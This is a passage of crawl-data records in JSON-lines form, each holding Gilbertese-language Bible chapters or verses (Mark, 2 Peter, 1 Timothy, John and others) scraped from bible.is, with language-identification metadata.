ra ake a bikoukou ma aine ake a kammammaia natiia ni boong akanne! 18Kam na tataro bwa a na aki riki baikanne n tain te kamwaitorotoro. 19Bwa ni boong akanne ao ane a na karawaawataaki aomata n te aekaki ni karawaawata ae akea n ai arona mani moani karikan aonnaba iroun te Atua ni karokoa ngkai, ao e na akea naba aekana nakon taai aika na roko. 20Ao ngkana E aki kakimototoi boong akanne te Uea, ao bon akea te aomata temanna ae e na kamaiuaki; ma E kakimototoi boong akanne i bukiia ake a rineaki, ake E rineiia. 21Ao ngkana e kaangai temanna nakoimi, Kai aei te Kristo; ke e kaangai, Kai arei; ao tai kakoauaa. 22Ane a na kaoti kristo ni kewe ao buraabeti ni kewe, ao a na kaoti kanikina ma bwaai ni kamiimii, bwa a na burebureia ake a rineaki, ngkana a konaa. 23Ma kam na tarataraingkami; I a tia n tuangkami bwaai ni kabane i mwaain rikiia. 24Ni boong akana i mwiin te tai are a karawaawataaki iai aomata, ao ane e na karooaki ootan taai, 25ao e na akea ootan namwakaina, ao ane a na bwaka itoi mai karawa, ao mwaaka ake a mena i karawa a na bitaki man aroaroiia. 26E na kaoti ngkanne Natin te Aomata i buakon naang ma te mimitong ao te mwaaka ae e korakora. 27Ane E na kanakoia anera nakon iteran aonnaba ake aua, bwa a na bootiia ana aomata te Atua mai tabon aonnaba are teuana ao mai tabona are teuana. 28Kam na karekea reireiami man te kai ae te biiku. N te tai are e ubuubu iai naba mwaangana ao a kaoti baana, ao kam a ataia iai bwa e a kaan taini bongin te kabuebue; 29ao ai arona naba, bwa ngkana kam noori baikanne bwa a riki, ao kam na ataia iai bwa e a rangi ni kaan roaroa. 30E koaua ae I a tuangkami bwa a na bane n riki baikanne i mwaaini mateia aomata nako aika a maiu ngkai. 31A na mauna karawa ma aonnaba, ma a na aki konaa ni mauna au taeka. 32Akea ane e ataa rokon te bong arei ke te aoa arei; ao a aki ataia naba anera ake i karawa, ao E aki ataia te Nati; ma ti te Tama ae e ataia. 33Kam na tarataraingkami, ao kamarurungingkami bwa kam aki ataa rokon te tai arei. 34E kabootauaki bwa kaanga ai aron te aomata are e kiitana mwengana ao e mwananga nako, ao e anganiia ana toro te mwiokoaki i aoni bwaai nako; 35Ma ngaia ae kam na kamarurungingkami, bwa kam aki ataa te tai are e na roko iai mataniwiin te auti, bwa tao e na roko n te moa n tairiki, ke n te nuukanibong, ke i mwiin te nuukanibong, ke n te moa n ingabong. 36Ngkana e karina rokona, ao e riai bwa e na aki nooringkami bwa kam matuu. 37Ae I tuangkami ao bon au taeka naba nakoia aomata nako: Kam na tantani.\nMAREKO 13","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Mark\/13","date":"2013-12-05T01:24:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163037952\/warc\/CC-MAIN-20131204131717-00009-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1002,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.446,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngkami aika kam tangiraki, aio ngkai au kauoua n reta ae I koroia nakoimi; ao i nanon reeta aika uoua aikai ao I a tia ni kataia ni kauungaingkami n te aro ni kauring bwa a na eti ami iango: 2bwa kam aonga n uringi taeka ake a taekinaki ngkoa irouia buraabeti ake ana aomata te Atua, ao bwa kam aonga n uringi naba ana tua te Uea are te Tia Kamaiu, are te tua are e taekinaki nakoimi irouia taan tuatua. 3Aio moa ae e na ataaki, bwa ni boong aika kabaneani boong, ao a na roko taani kakaniko ni kakaniko n aroni kairaia n oin nanoia ni kaibwabwaru, 4ao ane a na kaangai, E ngaa rokona ae e taekinaki? Bwa man te tai are a mate iai ara bakatibu, ao a teimatoa n tiku bwaai ni kabane n aroia ma ngke a moani karikaki aonnaba. 5Bwa bon nanoia bwa a na mwaninga taekan te koaua aei: ae karawa e riki ma ngkoangkoa n ana taeka te Atua, ao E karika aon te aba man te ran ao n te ran; 6are e uruaki iai aon te aba are ngkekei, ngke e iekaki n te ran. 7Ma karawa ma aon te aba aika iai ngkai a kaawakinaki naba n ana taeka te Atua bwa kanan te ai. A kaawakinaki ni karokoa te bong are a na motikaki iai taekaia aomata aika a akea reitakiia ma te Atua ao a na kamateaki. 8Ma aei te koaua teuana ae kam na aki mwaninga taekana, ngkami aika kam tangiraki: bwa ti te bo te bong ae ti te bongina ma ririki aika tengaa iroun te Uea, ao ti te bo te ngaa te ririki ma te bong ae ti te bongina iroua naba. 9E aki baenikai te Uea ni karaoa nanon ana taeka n akoi, n ai aron are a taku temwaangina n aia iango; ma E taotaona nanona nakoimi ibukina bwa E aki tangira temanna i buakomi bwa e na mate, ma E tangiriia aomata ni kabaneia bwa a na rairi nanoia. 10Ma ane e na roko ana bong te Uea n ai aron rokon te tia ira; n te bong anne ao e na mauna iai karawa ma te rurunga ae e korakora, ao a na bue bwaai ma ni mauna nako aroia; ao aonnaba ma kanoana a na kuneaki. 11Ma ngaia aei, ngkai a nangi mauna nako aroni bwaai ni kabane n te aro aei, ao aaro ra aromi aika a riai bwa kam na maeka n itiaki iai, ao n reitaki ma te Atua, 12ngkai kam tataningaa ana bong te Atua ma ni bareka rokon te bong are e na bue iai ma ni mauna nako karawa, ao a na riki n ran bwaai n te kabuebue! 13Ma, n ai aron ana taeka n akoi, ti a tiku ni kaantaningai karawa aika a boou ma te aonnaba ae e boou, ike e mena iai karaoan nanon te Atua. 14Ma ngaia aei, ngkami aika kam tangiraki, ngkai kam tiku ni kakaantaninga, ao kam na kakorakoraingkami bwa kam aonga n nooraki irouna bwa akea baarekami ke te bae e buaakaka iroumi, ao kam rau ni maiumi 15Kam na taraa taotaonan nanon ara Uea bwa te kawai ibukini kamaiuami, n ai aron are e koroia naba nakoimi tarira are e tangiraki are Bwauro, n ai aron te rabakau are e anganaki. 16Aei te bae e taekinna n ana reta ni kabane ngke e koroi taekani baikai iai. Iai bwaai tabeua n ana reta aika a aki kai ataaki, aika a kabwaraaki ni kabwaouaaki nanoia irouia aomata aika a nano roo ma aika a nano tiotio, n ai aron naba are a karaoia nakon taekan te Baibara tabeua. Karaoan aei irouia boni karekeani mateia. 17Ma ngaia aei, ngkami aika kam tangiraki, ngkai kam a kaman atai baikai, ngkai a tuai n roko, ao kam na tarataraingkami bwa kam kaawa ni bwaka man teimatoami n anaakin nanomi n aia bure akana a buaakaka. 18Ma kam na rikirake n te aakoi ao n ataakin ara Uea ao ara Tia Kamaiu are Iesu Kristo. Ana bwai te neboaki ngkai, ao n aki toki. Amene.\n2 BETERO 3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/2Pet\/3","date":"2013-12-11T11:03:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164034642\/warc\/CC-MAIN-20131204133354-00008-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":690,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.459,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"21ao a a tia ni kaongoaki taekam bwa ko reireiia I-Iutaia ni kabaneia ake a maeka i tinanikun Iuta bwa a na kaaki taekan ana Tua Mote, ao ko tuangiia bwa a na aki koroberoaki aia ataei, ao a na aki iri nanon aia katei.\nMWAKURI 21:21\nOne App.\n815 Languages.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/21\/21","date":"2013-12-12T00:50:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164128316\/warc\/CC-MAIN-20131204133528-00040-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.000009536743164}","num_words":49,"character_repetition_ratio":0.024,"word_repetition_ratio":0.0,"special_characters_ratio":0.258,"stopwords_ratio":0.429,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KOROTE 2:55Bwa I boni ngae n aki mena iroumi n te rabwata, ma I boni mena naba iroumi n te taamnei; ao I kimwaareirei n nooran aromi aika a riai ma aromi n teimatoa n onimakina Kristo. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Col\/2\/5","date":"2013-12-10T10:39:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164015892\/warc\/CC-MAIN-20131204133335-00042-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999941587,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 0.999994158744812}","num_words":52,"character_repetition_ratio":0.038,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.346,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 11:1313Ngkai kam ataa te angania natimi, ngkami aika a kam buaakaka, baika a raraoi, ao tiaki e mwaiti riki iroun Tamami are i karawa te kan anga te Taamnei are e Raoiroi nakoia akana butiia! Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/11\/13","date":"2013-12-08T12:48:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163065688\/warc\/CC-MAIN-20131204131745-00044-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9998573065,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9998573064804077}","num_words":51,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.235,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 KORINTO 14:1111Ma ngaia ae ngkana I aki ataa nanon te taetae, ao I riki bwa kaanga kaain te aba teuana ngai nakon ane e taetae, ao ane e taetae bwa kaanga kaain te aba teuana nakoiu. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/14\/11","date":"2013-12-09T14:12:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163977808\/warc\/CC-MAIN-20131204133257-00049-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999929667,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.9999929666519165}","num_words":51,"character_repetition_ratio":0.114,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.275,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Moan euangkerion Iesu Kristo are Natin te Atua, 2nai aron are e koreaki iroun Itaia are te buraabeti, ni kaangai: Noria, I kanakoa au tia ua rongorongo ri moam, bwa e na katauraoa kawaim; 3bwanaan temanna ae e takaarua n te rereua ni kaangai: Katauraoa kawain Iehova, ao kaeti kawaina nako. 4E kaoti Ioane are te tia Bwaabetiito n te rereua ao e tataekina aron te bwaabetiito are e kaeti ma te rairannano ibukini kabwaraani buure. 5Ao a bane ni kawaria aomata nako ake a maeka i Iutaia, ma i Ierutarem, ao a bwaabetitooaki irouna n te karaanga are te Ioretan, ngke a kaoti aia bure. 6E kunnikaia Ioane ni buraen te kaamero, ao e bwaina te roo ae te kau bwa kabaean nuukana; ao e kaakangi maan aika rokati ma aia karewe manibeeru. 7Ao e reirei ni kaangai, Iai Temanna ae e na roko n ri mwiiu ae E korakora riki nakoiu, ae I aki tau bwa N na baraaki ni kabwarai kabaean ana kauniwae. 8I bwaabetitooingkami n te ran, ma Ngaia ane E na bwaabetitooingkami n te Taamnei are e Raoiroi. 9Ni boong akekei ao E roko Iesu mai Kariraia mani kaawana are Natareta; ao E bwaabetitooaki iroun Ioane n te karaanga are te Ioretan. 10Ao n te tai naba are E aerake iai man te ran, ao E noora karawa bwa e uki, ao te Taamnei bwa E ruonna n ai aron te taobe; 11ao e roko te bwanaa mai karawa, a e kaangai: Boni Ngkoe Natiu ae Ko taatangiraki irou; I kakatonga iroum. 12Ao E waekoa ni kanakoaki iroun te Taamnei nakon te rereua, 13ao E tiku ikekei n te maan ae abwi te bong ni kariiriiaki iai iroun Tatan; ao akea raona bwa ti maan aika a aki manana; ao a akoia anera. 14I mwiin te tai are e a tia n tauuaki iai Ioane ma ni kainaki i nanon te karabuuti, ao E roko Iesu i Kariraia ao E tataekina ana euangkerio te Atua; 15ao E taku, E a koro raoi te tai, ao e a kaan uean te Atua: rairi nanomi, ao onimakina te euangkerio. 16Ao ngke E nakonako ri rarikin namani Kariraia, ao E noora Timon ma Anterea are tarina ngke a kabwakaa te karaun n te nama—bwa taan akawa ngaiia. 17E taku Iesu nakoia, Mai ri mwiiu, ao N na karaoingkami bwa kam na riki bwa taan akawaiia aomata. 18A aki tabwara; a kiitana aia karaun ao a nako n iria. 19Ao ngke E toutoua nako riki kawaina, ao E noora Iakobo are natin Tebetaio, ma Ioane are tarina, ngke a mena n te booti bwa a bonobonoti karaun. 20E weteiia naba, ao ngaiia a kiitana tamaia are Tebetaio n te booti ma raona ake a kabooaki kamwakuraia, ao a iria. 21A roko i Kaberenaum, ao E rin Iesu ni mwaneabaia I-Iutaia n te taabati, ao E reirei. 22Ao a miimii aomata n ana reirei: bwa E reireiia n ai aron ae e mwaaka, ao tiaki n ai aroia taani koroboki. 23N te tai aei, ao bon iai temanna ae e taniaki iroun te anti ae e buaakaka; ao e takaarua, 24ni kaangai, Tera am bwai iroura, Iesu, ae te I-Natareta? Ko nako mai bwa Ko na uruira? I kinako bwa Teuare e Moan te Raoiroi Ngkoe, are mai iroun te Atua. 25Ao E takuia Iesu ni kaangai, Tai karongoaa, ao oti nako mai irouna. 26Ao te taamnei are e kamwaraa e karika te aomata arei bwa e na kaatikitiki, ao e katakaaruaaea n te bwanaa ae e korakora, ao e oti nako mai irouna. 27A bane aomata ni miimii, ao a i titiraki, ni kaangai, Tera te baei? Te reirei ae e boou: bwa E taetae ma te mwaaka nakoia anti aika a buaakaka ao a ongo irouna. 28Ao e buta nako rongorongona nakon taabo nako ake i rarikini Kariraia. 29Ao E kiitana te mwaneaba arei, ao E nako n aia auti Timon ma Anterea, ao raona Iakobo ma Ioane. 30E wene n aoraki n te kabuebue tinani buun Timon; ao a waekoa ni kaongoa Iesu taekana; 31ao E nako n taua baina, ao E kateirakea, ao e a toki naba kabuebuena; ao e touatiniia neierei. 32Ngke e a tairiki, ngke e a bungi taai, ao aomata a uotiia ni kabane ake a aoraki ma ake a taniaki irouia taimonio nakoina. 33A bane kaain te kaawa ni bootaki i matan te mataroa. 34Ao E kamaiuiia aika a bati aika a aoraki n aeka n aoraki nako, ao E kanakoia ngke a kinaa. 35N te bong are i mwiina, n te tai ae boni maan i mwaain otin taai, ao E uti, ao E oti nako, ao E nako n te tabo ae akea te maeka iai, ao E tataro iai. 36Ao a ri mwiina Timon ma uaake raona ni kakaaea, 37ao ngke a kunea, ao a taku nakoina, A bane n ukoukoriko aomata. 38Ao Ngaia E taku nakoia, Ti na nako ni kaawa aika i mwaaira, bwa N na reirei naba iai; bwa aei bukin ae I nako maiai. 39Ao E reirei ni kabutaa aoni Kariraia i nanoni mwaneabaia nako; ao E kanakoia taimonio. 40Ao e nakoina te aomata ae e reebera ni butiia, ao e bwaka i aoni bubuaniwaena i matana, ao e taku nakoina, Ko konaa ni kaitiakai, ngkana nanom. 41Ao E nanoangaia Iesu, ao E arora baina n riingnga, ao e taku nakoina, I kani kaitiakiko, ko na itiaki. 42Ao e rina n toki te reebera mai irouna, ao e kaitiakaki. 43Ao E kamatoatoaa bwanaana nakoina ngke E kanakoa, 44ao E taku, Tarataraiko bwa ko na aki tuanga temanna; ma naako moa, kaotiko nakon te ibonga, ao anga baike e tua Mote bwa bwaini kaitiakam, bwa te bwai ni kakoaua nakoia aomata. 45Ao e taon nako, ao e a moana naba tataekinan te baerei ni katanoataa rongorongona; ma ngaia are E aki konaa n rin n te kaawa Iesu, ma E a mena naba n taabo ake aki maekanaki; ao a kawaria aomata man taabo nako.\nMAREKO Array","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Mark\/","date":"2013-12-12T09:28:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164574548\/warc\/CC-MAIN-20131204134254-00055-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1001,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.467,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"19Ma n te bootaki n ekaretia ao I tangiria riki bwa N na atongi nimaua te taeka aika a aki kamangaongao, bwa I aonga n reireia naba te koraki ae e bati, nakon atongan tebwina te ngaa te taeka n te taetae ae e aki ataaki.\n1 KORINTO 14:19\nOne App.\n815 Languages.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/14\/19","date":"2013-12-12T17:22:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164653483\/warc\/CC-MAIN-20131204134413-00057-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":50,"character_repetition_ratio":0.016,"word_repetition_ratio":0.0,"special_characters_ratio":0.262,"stopwords_ratio":0.52,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ko na tai boaa ane e a unimwaane, ma ko na anganna am taeka ni buokia bwa kaanga tamam. Ko na reitaki ma rorobuaka bwa kaanga tarim, 2ao unaine bwa kaanga tinam; ao ko na reitaki n te aro ae e itiaki ma ateiaine bwa kaanga mwaanem. 3Ko na karineia n akoiia aine aika a boni kananoanga ni koaua ngkai a mate buia. 4Ma ngkana iai natin ke tibun te aine ae e kananoanga ae e mate buuna, ao a na reireiaki moa aroia ni karaoi tabeia aika a aanaki n ana kaantaninga te Atua nakoia oin aia utu, ma ni kabooa aakoakiia irouia aia karo ma tibuia: bwa e riai aei i matan te Atua. 5Ao te aine ae e kananoanga ni koaua, ngkae e mate buuna ao e tiku n ti ngaia, e mwiokoa te Atua ni maiuna, ao e botumwaaka n taatataro ni buubuti n te bong ao n te ngaina. 6Ma te aine ae ti te kani kakukukureia rabwatana, e boni ngae ngke e maiu, ma e mate. 7Ko na tuangiia baikai, bwa a aonga n aki kabuaakakaaki. 8Ma ngkana e aki karekei baika a riai te aomata i bukiia ana koraki, ao ai moa ra riki ibukin oin ana utu, ao kaotana bwa e a kaaki taekan te onimaki, ao e a buaakaka riki nakon are tiaki te tia onimaki. 9E na koreaki aran te aine ae e mate buuna i buakon araia aine aika a mate buia ngkana e a koro onongaun ana ririki, ao te aine ngaia ae ti teuana ana tai ni mareaki; 10ao e kakoauaaki bwa te aine ngaia ae e kaakaraoi mwakuri aika a raraoi, n arona ni kaikawaiia natina, n akoiia iruwa, n teboki waeia raona ni Kristian, ni buokiia aika a rawaawata, ao n arona ni botumwaaka ni karaoi mwakuri aika a raraoi ni kabane. 11Ma ko na tai korei araia ateiaine aika a mate buia i buakon araia aine aika a mate buia; bwa n te tai are e roko iai nanoia ae e korakora ni kan iein, ao ane a na rairaki nako mai irouni Kristo; 12ao a reke kabuaakakaaia iai, ibukina ngkai a urua aia taeka ni bau nakoni Kristo. 13I rarikin anne, ao a reireiia naba te aro ni kabane tai n aroia ni kawara te auti teuana ma teuana; ao a aki ti kabane tai n aroia anne, ma a bon riki naba bwa taan ua-taeka, ao taani katabetabea te aba, n aroia n tataekini baika a aki riai n taekin. 14Ma ngaia ae I tangiriia riki ateiaine aika a mate buia bwa a na iein, a na karikiia natiia, a na tararuaia aia utu, ao a na aki karekea te anga are e na kabuaakakaira iai te kairiribai; 15bwa a a tia tabemwaang i buakoia ateiaine aika a mate buia n rairaki nako n ira Tatan. 16Ma ngkana iai aine aika a mate buia i buakoia ana utu te aine ae te Kristian, ao e riai neienne ni buokiia. E na aki karawaawata te ekaretia, bwa e aonga n tabeakiniia aine aika a kananoanga ni koaua ngkai a mate buia. 17A riai unimwaane aika a raoiroi aia kairiiri n iangoaki bwa e riai ni kataboroakiooia, ai moa ra riki nakoia te koraki aika a korakora aia mwakuri ni kabwarabwara ma n reirei; 18bwa e kaangai te Baibara: Ko na tai kabaea wiin te kao ngkana e tabe n toutoua te uiita ni kaaki kunna, ao, E riai bwa e na anganaki te tia mwakuri boon ana mwakuri. 19Ko na tai butimwaaea taekani bukinan te unimwaane, ma ti ngkana iai uoman ke teniman taani kakoaua bukinana. 20Ko na boaiia akana a bure i mataia aomata ni kabaneia, bwa a aonga ni maaku naba raoia. 21I tuangko i matan te Atua, ma Kristo Iesu, ma ana anera te Atua, bwa ko na tou mwiini baikai ma te nano ae e eti ae e aki nanonano. 22Ko na tai kuukuri ni katokaa baim i aon temanna ni katabua nakon nakoana ibukin te Uea. Ko na tai buokanibwai n aia bure tabemwaang; ko na bwaina te maiu ae e itiaki. 23Ko na tai mooi n te ran n ti ngaia, ma ko na mooi n te wain teutana ibukini birotom ma aorakim aika a ituutuuko. 24Akea te kaangaanga n aia bure tabemwaang bwa a teretere aroia, ao a ri moaia nakon te motiki-taeka; ma aia bure temwaangina a tibwa kaoti rimwi. 25Ao ai arona naba, bwa akea te kaangaanga ni mwakuri aika a raraoi bwa a teretere aroia, ao ake a aki bati n teretere a aki konaa n raba.\n1 TIMOTEO 5","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1Tim\/5","date":"2013-12-06T01:56:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163048970\/warc\/CC-MAIN-20131204131728-00080-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":765,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.456,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 KORINTO 11:1212Ma ae I karaoia ao N na boni karaoia naba, bwa I aonga ni katoki wiia te koraki ake a taku bwa n aia mwakuri are a kamoamoaia iai ao bon ti te bo aroia ni mwakuri ma arora. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/11\/12","date":"2013-12-06T23:23:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163052727\/warc\/CC-MAIN-20131204131732-00072-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000088214874268}","num_words":55,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.255,"stopwords_ratio":0.382,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1I mwiin arei ao E mwamwananga Iesu i aoni Kariraia; E aki konaa ni mwamwananga i aon Iutaia ibukina ngke a kani kamatea I-Iutaia. 2E a kaan roko tain aia bootaki I-Iutaia teuana are te Toa are te Umwanrianna. 3A kaangai ngkanne tarin Iesu nakoina, Kiitana ikai ao nako i Iutaia, bwa a aonga n noori mwakuri aika Ko karaoi am reirei. 4Bwa akea te aomata ae e karabaa ana mwakuri ni karaoia ngkana iai i nanona te kan ataaki irouia aomata. Ngkai Ko karaoi baikanne, ao kaotiko nakoia aomata nako. 5Akea onimakinana naba irouia ana reirei. 6E taku Iesu nakoia, E tuai ni bo au tai; ma ngkami, e a tau naba iroumi te tai n aki akaka. 7Akea bukin ae kam na ribaaki iai irouia aomata nako; ma iai bukin ribaakiu irouia, bwa I aki toki n tuangiia bwa a bubuaka aia mwakuri. 8Kam na nako ni kaea te bootaki. I aki nako Ngai ni kaea, bwa e tuai ni bo au tai. 9E atongi baikai nakoia, ao E tiku naba i Kariraia. 10Ngke a a tia n nako tarina nakon te Toa are te Umwanrianna, ao Ngaia E nako naba, ma E karabaa n nako n te aro ae akea ae ataia. 11A ukoukoria I-Iutaia n te Toa, ao a taku, E ngaa Teuarei? 12E bati te maningoongoo irouia aomata ibukina. A taku temwaangina, Te aomata Ngaia ae e raoiroi; ao temwaangina a taku, Tiaki; bon te tia burebureia aomata. 13Ma akea ae e kanenea bwanaana n taekinna irouia aomata, bwa a maakuia I-Iutaia. 14Ngke tao e a bo nuukan tain te Toa, ao E nako n te umwantabu Iesu, ao E reirei iai. 15A miimii irouna I-Iutaia, ao a taku, E kangaa n reke rabakaun te aomata aei, ao E aki rereireiaki? 16Ma ngaia are E taku Iesu nakoia, Tiaki au bwai au reirei, ma ana bwai Teuare e kanakomaiai. 17Ane e kukurei ni karaoa nanon te Atua, ao e na ataia iai bwa te bwai ae I anga bwa au reirei e nako mai iroun te Atua, ke e nako boni man au iango. 18Bwa te aomata ane e taetae n oin nanona, ao e kataia ni karekea kamoamoaana bon ibukina. Ma te aomata ae e tangira kamoamoaakin Teuare e kanakomaia, ao E kaotia bwa e taekina te koaua, ao tiaki te kaairua. 19Tiaki e anganingkami te Tua Mote, ao akea temanna i buakomi ae toua mwiina? Kam aera ngkai kam ukoukora kamateau? 20A kaeka aomata ao a taku, Iai iroum te taimonio; antai ae e ukoukora kamateam? 21E kaekaia Iesu ao E taku nakoia, I karaoa te mwakuri teuana ae e kamiimii, ao kam bane ni miimii iai. 22E anganingkami Mote te tua ibukin te korobero (ma n te koaua tiaki mai irouni Mote bwa mai irouia bakatibu), ao kam koroberoa te aomata n te taabati. 23Ngkana e koroberoaki te aomata n te taabati, n te aro ae e aki uruaki iai te tua are e anga Mote, ao tera bukin ae kam na un iai irou ngkai I kamaiua te aomata n te taabati? 24Kam na aki kairaki n ami motiki-taeka n taraan te bwai, ma kam na kairaki n ami motiki-taeka n te eti. 25A taku I-Ierutarem tabemwaang, Tiaki aei Teuare e a ukoukora kamateana? 26Noria, E taetae i mataia aomata, ao a aki taetae nakoina aia mataniwi I-Iutaia. Tao a bon ataia ae te Kristo Teuaei? 27Ma ngaira ti ataa te tabo are E nako maiai Teuaei; ma ngkana E roko te Kristo, ao akea ae e ataa te tabo are E nako maiai. 28Ma ngaia are ngke E reirei Iesu n te umwantabu, ao E kanenea bwanaana ao E taku, Kam ataai, ao kam ataa naba te tabo are I nako maiai? Ma I aki nakomai n oin nanou. Iai iroun Teuare e kanakomaiai, are kam aki ataia, te onimakinaki raoi. 29Ma I ataia Ngai, bwa I nako mai mai irouna, ao Ngaia ae e kanakomaiai. 30A ukoukora te anga ae a na tauua iai, ma akea temanna ae e roko baina i aona, ibukina bwa e tuai ni bo ana tai are E na tauuaki iai. 31Ma a mwaiti i buakoia aomata aika a kakoauaa Iesu. A taku, Ngkana E roko te Kristo, ao E na karaoi mwakuri aika a kamiimii ni kabatiai riki nakon ake E karaoi Teuaei? 32A ongo taekan Iesu aikai Bwaritaio n aia wirikiriki aomata, ma ngaia are i mwiin reken aia iango ma ibonga ake mataniwi, ao a kanakoia bureitimanin te umwantabu bwa a na tauua Iesu ni kaburea. 33E taku Iesu, N na kamaanai ni mena iroumi teutana riki, ao i mwiina N na kiitaningkami n nako n Teuare e kanakomaiai. 34Ane kam na ukoukorai, ma N na aki reke iroumi, bwa kam aki konaa n roko n te tabo are N na mena iai. 35A taku I-Iutaia ngkanne i bon irouia, E ngaa te tabo ae E na nako iai ngkai E na aki reke iroura? E na nako n aia kaawa I-Erene ike a maeka iai kaain ara bootanaomata, bwa E na reireiia I-Erene? 36Tera nanon ana taeka are e kaangai, ane kam na ukoukorai, ma N na aki reke iroumi, bwa kam aki konaa n roko n te tabo are N na mena iai. 37N te kabanea ni bong ae e kakannato n tain te Toa are te Umwanrianna, ao E tei rake Iesu, ao E kanenea bwanaana ni kaangai, Ane e kani mooi, ao ke e nakoiu bwa e na mooi. 38Ane e onimakinai, ao a na raanga nako karaanga n ran ni kamaiu mai nanona, n ai aron taekana n te Baibara. 39E taekina aei Iesu bwa taekan te Taamnei, are a na anganaki akana a onimakinna: bwa e tuai anganaki te aba te Taamnei, ibukina bwa E tuai ni bo ana tai Iesu n neboaki. 40Iai tabeman i buakoia aomata ake a bati aika a ongo ana taeka Iesu aikai, ma ngaia are a taku, Teuaei bon te buraabeti. 41Ao 